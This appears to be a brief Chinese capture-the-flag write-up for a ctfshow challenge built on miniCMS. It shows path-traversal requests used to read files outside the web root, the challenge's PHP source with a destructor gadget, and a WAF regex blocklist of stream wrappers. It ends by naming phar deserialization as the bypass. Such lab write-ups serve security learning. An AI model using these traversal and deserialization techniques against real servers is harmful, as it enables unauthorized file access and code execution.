虎山行
给了源码www.rar,是miniCMS,对比源码,找到漏洞点,相当明显。

直接请求flag,发现根目录下没有flag,但是给了提示。
/mc-admin/page-edit.php?file=../../../../../../flag
这个是网站目录
<?php
highlight_file(__FILE__);
error_reporting(0);
include('waf.php');
class Ctfshow{
public $ctfer = 'shower';
public function __destruct(){
system('cp /hint* /var/www/html/hint.txt');
}
}
$filename = $_GET['file'];
readgzfile(waf($filename));
?>
很明显是要触发__destruct()魔术方法,先尝试一下读取waf.php,发现被WAF了。
/ctfshowsecretfilehh/?file=waf.php
那咋办呢,想想上一步也可以读取文件,那就试试吧。
/mc-admin/page-edit.php?file=../../../ctfshowsecretfilehh/waf.php
源码
<?php
function waf($file){
if (preg_match("/^phar|smtp|dict|zip|compress|file|etc|root|filter|php|flag|ctf|hint|\.\.\//i",$file)){
die("姿势太简单啦,来一点骚的?!");
}else{
return $file;
}
}
phar反序列化